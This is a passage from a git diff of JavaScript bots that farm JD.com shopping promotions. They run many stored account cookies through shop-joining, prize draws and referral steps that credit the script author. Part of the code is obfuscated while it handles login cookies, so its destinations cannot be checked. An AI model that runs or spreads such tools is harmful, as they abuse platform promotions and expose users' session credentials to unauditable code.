_0x4e1328[_0x5d59('7f')][_0x5d59('8c')][_0x5d59('3b')]!=_0x5d59('7b'))$[_0x5d59('3b')]=_0x4e1328[_0x5d59('7f')][_0x5d59('8c')][_0x5d59('3b')]||0xa;if(typeof _0x4e1328[_0x5d59('7f')][_0x5d59('8c')][_0x5d59('38')]!=_0x5d59('7b'))$[_0x5d59('38')]=_0x4e1328[_0x5d59('7f')][_0x5d59('8c')][_0x5d59('38')]||0x0;}}else if(_0x40bdc6==_0x5d59('49')){$[_0x5d59('48')]=_0x4e1328[_0x5d59('7f')]||[];}else if(_0x40bdc6==_0x5d59('4e')){$[_0x5d59('4d')]=_0x4e1328[_0x5d59('1a')]||_0x4e1328[_0x5d59('7f')][_0x5d59('1a')]||'';}else if(_0x40bdc6==_0x5d59('55')){for(let _0x4645b3 of _0x4e1328[_0x5d59('7f')][_0x5d59('8d')]||[]){console[_0x5d59('7')](_0x4645b3[_0x5d59('8e')]);}}else if(_0x40bdc6==_0x5d59('56')){console[_0x5d59('7')](_0x5d59('8f')+_0x4e1328[_0x5d59('7f')][_0x5d59('90')]+'\x29');}}else if(_0x4e1328[_0x5d59('1a')]){console[_0x5d59('7')]((_0x127c0c||_0x40bdc6)+'\x20'+(_0x4e1328[_0x5d59('1a')]||''));}else{console[_0x5d59('7')]((_0x127c0c||_0x40bdc6)+'\x20'+_0x2deda4);}}else if(_0x4e1328[_0x5d59('91')]){console[_0x5d59('7')]((_0x127c0c||_0x40bdc6)+'\x20'+(_0x4e1328[_0x5d59('91')]||''));}else{console[_0x5d59('7')]((_0x127c0c||_0x40bdc6)+'\x20'+_0x2deda4);}}else{console[_0x5d59('7')]((_0x127c0c||_0x40bdc6)+'\x20'+_0x2deda4);}break;default:console[_0x5d59('7')]((title||_0x40bdc6)+_0x5d59('92')+_0x2deda4);}if(typeof _0x4e1328==_0x5d59('78')){if(_0x4e1328[_0x5d59('91')]){if(_0x4e1328[_0x5d59('91')][_0x5d59('82')]('\u706b\u7206')>-0x1){$[_0x5d59('15')]=!![];}}}}catch(_0x5c5740){console[_0x5d59('7')](_0x5c5740);}}function getPostRequest(_0x4b1188,_0x4fa991,_0x5208a8=_0x5d59('5b')){let _0x3ddade={'Accept':_0x5d59('93'),'Accept-Encoding':_0x5d59('94'),'Accept-Language':_0x5d59('95'),'Connection':_0x5d59('96'),'Content-Type':_0x5d59('97'),'Cookie':cookie,'User-Agent':$['\x55\x41'],'X-Requested-With':_0x5d59('98')};if(_0x4b1188[_0x5d59('82')](_0x5d59('5a'))>-0x1){_0x3ddade[_0x5d59('99')]=_0x5d59('5a');_0x3ddade[_0x5d59('9a')]=_0x5d59('9b');delete _0x3ddade[_0x5d59('9c')];}return{'\x75\x72\x6c':_0x4b1188,'\x6d\x65\x74\x68\x6f\x64':_0x5208a8,'\x68\x65\x61\x64\x65\x72\x73':_0x3ddade,'\x62\x6f\x64\x79':_0x4fa991,'\x74\x69\x6d\x65\x6f\x75\x74':0x7530};}function joinShop(){if(!$[_0x5d59('50')])return;return new Promise(async _0x2a904f=>{$[_0x5d59('9d')]='';await $[_0x5d59('4a')](0x3e8);await getshopactivityId();let _0x8cb8bd='';if($[_0x5d59('9d')])_0x8cb8bd=_0x5d59('9e')+$[_0x5d59('9d')];const _0x5b313={'\x75\x72\x6c':_0x5d59('9f')+$[_0x5d59('50')]+_0x5d59('a0')+$[_0x5d59('50')]+_0x5d59('a1')+_0x8cb8bd+_0x5d59('a2'),'\x68\x65\x61\x64\x65\x72\x73':{'Content-Type':_0x5d59('a3'),'Origin':_0x5d59('a4'),'Host':_0x5d59('a5'),'accept':_0x5d59('a6'),'User-Agent':$['\x55\x41'],'content-type':_0x5d59('97'),'Cookie':cookie}};$[_0x5d59('a7')](_0x5b313,async(_0x199dd4,_0x2c6557,_0x546405)=>{try{let _0x357549=$[_0x5d59('a8')](_0x546405);if(typeof _0x357549==_0x5d59('78')){if(_0x357549[_0x5d59('7e')]===!![]){console[_0x5d59('7')](_0x357549[_0x5d59('7c')]);if(_0x357549[_0x5d59('a9')]&&_0x357549[_0x5d59('a9')][_0x5d59('aa')]){for(let _0x2b7ef0 of _0x357549[_0x5d59('a9')][_0x5d59('aa')][_0x5d59('ab')]){console[_0x5d59('7')](_0x5d59('ac')+_0x2b7ef0[_0x5d59('ad')]+_0x2b7ef0[_0x5d59('ae')]+_0x2b7ef0[_0x5d59('af')]);}}}else if(typeof _0x357549==_0x5d59('78')&&_0x357549[_0x5d59('7c')]){console[_0x5d59('7')](''+(_0x357549[_0x5d59('7c')]||''));}else{console[_0x5d59('7')](_0x546405);}}else{console[_0x5d59('7')](_0x546405);}}catch(_0x1bfb8f){$[_0x5d59('34')](_0x1bfb8f,_0x2c6557);}finally{_0x2a904f();}});});}function getshopactivityId(){return new Promise(_0x53a264=>{const _0x51740c={'\x75\x72\x6c':_0x5d59('b0')+$[_0x5d59('50')]+_0x5d59('b1'),'\x68\x65\x61\x64\x65\x72\x73':{'Content-Type':_0x5d59('a3'),'Origin':_0x5d59('a4'),'Host':_0x5d59('a5'),'accept':_0x5d59('a6'),'User-Agent':$['\x55\x41'],'content-type':_0x5d59('97'),'Cookie':cookie}};$[_0x5d59('a7')](_0x51740c,async(_0x2c5dd8,_0x43ed75,_0x1134f8)=>{try{let _0xc35223=$[_0x5d59('a8')](_0x1134f8);if(_0xc35223[_0x5d59('7e')]==!![]){console[_0x5d59('7')](_0x5d59('b2')+(_0xc35223[_0x5d59('a9')][_0x5d59('b3')][_0x5d59('b4')]||''));$[_0x5d59('9d')]=_0xc35223[_0x5d59('a9')][_0x5d59('b5')]&&_0xc35223[_0x5d59('a9')][_0x5d59('b5')][0x0]&&_0xc35223[_0x5d59('a9')][_0x5d59('b5')][0x0][_0x5d59('b6')]&&_0xc35223[_0x5d59('a9')][_0x5d59('b5')][0x0][_0x5d59('b6')][_0x5d59('b7')]||'';}}catch(_0x3a2ec3){$[_0x5d59('34')](_0x3a2ec3,_0x43ed75);}finally{_0x53a264();}});});}function getCk(){return new Promise(_0x53f636=>{let _0x3e296f={'\x75\x72\x6c':_0x5d59('b8')+$[_0x5d59('b7')]+_0x5d59('b9')+$[_0x5d59('ba')],'\x66\x6f\x6c\x6c\x6f\x77\x52\x65\x64\x69\x72\x65\x63\x74':![],'\x68\x65\x61\x64\x65\x72\x73':{'User-Agent':$['\x55\x41']},'\x74\x69\x6d\x65\x6f\x75\x74':0x7530};$[_0x5d59('a7')](_0x3e296f,async(_0x39a4f6,_0x3dfa66,_0x51797c)=>{try{if(_0x39a4f6){if(_0x3dfa66[_0x5d59('70')]&&_0x3dfa66[_0x5d59('70')]==0x1ed){console[_0x5d59('7')](_0x5d59('3c'));$[_0x5d59('16')]=!![];}console[_0x5d59('7')](''+$[_0x5d59('71')](_0x39a4f6));console[_0x5d59('7')]($[_0x5d59('1b')]+_0x5d59('bb'));}else{setActivityCookie(_0x3dfa66);}}catch(_0x562074){$[_0x5d59('34')](_0x562074,_0x3dfa66);}finally{_0x53f636();}});});}function taskPostUrl(_0x1964a2,_0x40d7cd){var _0x54fed2=_0x5d59('bc');var _0x121f08=$[_0x5d59('1e')];var _0x13badc={'method':_0x1964a2,'userId':$[_0x5d59('20')],..._0x40d7cd};if(_0x1964a2[_0x5d59('82')](_0x5d59('3f'))==-0x1){_0x13badc={..._0x13badc,'buyerNick':$[_0x5d59('30')]};}var _0x38c432=Date[_0x5d59('44')]();var _0x395853=JSON[_0x5d59('bd')](_0x13badc);var _0x17c2d7=encodeURIComponent(_0x395853);var _0x2c8b77=new RegExp('\x27','\x67');var _0x327820=new RegExp('\x7e','\x67');_0x17c2d7=_0x17c2d7[_0x5d59('be')](_0x2c8b77,_0x5d59('bf'));_0x17c2d7=_0x17c2d7[_0x5d59('be')](_0x327820,_0x5d59('c0'));var _0x229a93=_0x54fed2+_0x5d59('c1')+_0x17c2d7+_0x5d59('1e')+_0x121f08+'\x6d'+_0x13badc[_0x5d59('c2')]+_0x5d59('c3')+_0x38c432+_0x54fed2;_0x229a93=$[_0x5d59('c4')](_0x229a93[_0x5d59('c5')]());const _0x87dcc2={'jsonRpc':_0x5d59('c6'),'params':{'commonParameter':{'appkey':$[_0x5d59('1e')],'m':_0x5d59('5b'),'sign':_0x229a93,'timestamp':_0x38c432,'userId':$[_0x5d59('20')]},'admJson':_0x13badc},'rn':Math[_0x5d59('c7')](Math[_0x5d59('4b')]()*0x64+0x1)};return $[_0x5d59('71')](_0x87dcc2,_0x87dcc2);}async function getUA(){$['\x55\x41']=_0x5d59('c8')+randomString(0x28)+_0x5d59('c9');}function randomString(_0x3d1a0f){_0x3d1a0f=_0x3d1a0f||0x20;let _0x1dd917=_0x5d59('ca'),_0xe45ca8=_0x1dd917[_0x5d59('28')],_0x389ef4='';for(i=0x0;i<_0x3d1a0f;i++)_0x389ef4+=_0x1dd917[_0x5d59('cb')](Math[_0x5d59('c7')](Math[_0x5d59('4b')]()*_0xe45ca8));return _0x389ef4;}function jsonParse(_0x15ff17){if(typeof _0x15ff17==_0x5d59('cc')){try{return JSON[_0x5d59('75')](_0x15ff17);}catch(_0x385175){console[_0x5d59('7')](_0x385175);$[_0x5d59('1a')]($[_0x5d59('1b')],'',_0x5d59('cd'));return[];}}};_0xodN='jsjiami.com.v6'; + + +function MD5(){ + // MD5 + !function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + diff --git a/backUp/gua_opencard4.js b/backUp/gua_opencard4.js new file mode 100644 index 0000000..423afc9 --- /dev/null +++ b/backUp/gua_opencard4.js @@ -0,0 +1,723 @@ +/* +8.4-8.12 大牌联合 冰爽一夏 [gua_opencard4.js] +新增开卡脚本 +一次性脚本 + +邀请一人20豆 被邀请也有20豆(有可能没有豆 +开2组卡 每组50豆(有可能有抽到空气💨 +关注10京豆 (有可能有抽到空气💨 +加购5京豆 (默认不加购 如需加购请设置环境变量[guaopencard_addSku4]为"true" + +第一个账号助力作者 其他依次助力CK1 +第一个CK失效会退出脚本 + +默认脚本不执行 +如需执行脚本请设置环境变量 +guaopencard4="true" + +入口 +https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=8eef88dbbb5e4a11b04f222b78b195c8 + +============Quantumultx=============== +[task_local] +#8.4-8.12 大牌联合 冰爽一夏 +36 0,8 4-12 8 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard4.js, tag=8.4-8.12 大牌联合 冰爽一夏, enabled=true + +================Loon============== +[Script] +cron "36 0,8 4-12 8 *" script-path=gua_opencard4.js,tag=8.4-8.12 大牌联合 冰爽一夏 + +===============Surge================= +8.4-8.12 大牌联合 冰爽一夏 = type=cron,cronexp="36 0,8 4-12 8 *",wake-system=1,timeout=3600,script-path=gua_opencard4.js + +============小火箭========= +8.4-8.12 大牌联合 冰爽一夏 = type=cron,script-path=gua_opencard4.js, cronexpr="36 0,8 4-12 8 *", timeout=3600, enable=true +*/ +const $ = new Env('8.4-8.12 大牌联合 冰爽一夏'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let guaopencard_addSku4 = false +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if ($.isNode()) { + if (!process.env.guaopencard4 || process.env.guaopencard4 == "false") { + console.log('如需执行脚本请设置环境变量[guaopencard4]为"true"') + return + } + guaopencard_addSku4 = process.env.guaopencard_addSku4 + if (!process.env.guaopencard_addSku4 || process.env.guaopencard_addSku4 == "false") { + console.log('如需加购请设置环境变量[guaopencard_addSku4]为"true"') + } + } + $.shareUuid = '8eef88dbbb5e4a11b04f222b78b195c8' + console.log(`入口:\nhttps://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + getUA() + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + let wxCommonInfoTokenData = await getWxCommonInfoToken(); + $.LZ_TOKEN_KEY = wxCommonInfoTokenData.LZ_TOKEN_KEY + $.LZ_TOKEN_VALUE = wxCommonInfoTokenData.LZ_TOKEN_VALUE + $.isvObfuscatorToken = await getIsvObfuscatorToken(); + $.myPingData = await getMyPing() + if ($.myPingData ==="" || $.myPingData === '400001') { + $.log("获取活动信息失败!") + if (i === 0) { + return + } + continue + } + await getHtml(); + await adLog(); + await getUserInfo(); + $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' + $.actorUuid = ''; + $.actorUuid = await getActorUuid(); + if(!$.actorUuid){ + console.log('获取不到[actorUuid]退出执行,请重新执行') + if (i === 0) { + return + } + continue + } + await drawContent(); + await $.wait(1000) + let checkOpenCardData = await checkOpenCard(); + $.log("开完卡: " + checkOpenCardData.allOpenCard) + if (checkOpenCardData && !checkOpenCardData.allOpenCard) { + let flag = true + for (let cardList1Element of checkOpenCardData.cardList1) { + if(cardList1Element.status == 0){ + if(flag) console.log('组1') + if(flag) flag = false + await join(cardList1Element.value) + await $.wait(1000) + await drawContent(); + } + } + flag = true + for (let cardList1Element of checkOpenCardData.cardList2) { + if(cardList1Element.status == 0){ + if(flag) console.log('组2') + if(flag) flag = false + await join(cardList1Element.value) + await $.wait(1000) + await drawContent(); + } + } + await $.wait(1000) + await drawContent(); + checkOpenCardData = await checkOpenCard(); + } + if(checkOpenCardData && checkOpenCardData.score1 == 1) await startDraw(1) + if(checkOpenCardData && checkOpenCardData.score2 == 1) await startDraw(2) + $.log("关注: " + $.followShop) + if(!$.followShop) await followShop(); + if(!$.followShop) await $.wait(1000) + $.log("加购: " + $.addSku) + if(!$.addSku && guaopencard_addSku4) await addSku(); + if(!$.addSku && guaopencard_addSku4) await $.wait(1000) + await getActorUuid() + await $.wait(1000) + await getDrawRecordHasCoupon() + await $.wait(1000) + await getShareRecord() + $.log($.shareUuid) + if (i === 0) { + if($.actorUuid){ + $.shareUuid = $.actorUuid; + }else{ + console.log('账号1获取不到[shareUuid]退出执行,请重新执行') + return + } + } + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +function getDrawRecordHasCoupon() { + return new Promise(resolve => { + let body = `activityId=c225ad5922cf4ac8b4a68fd37f486088&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` + $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getDrawRecordHasCoupon', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} 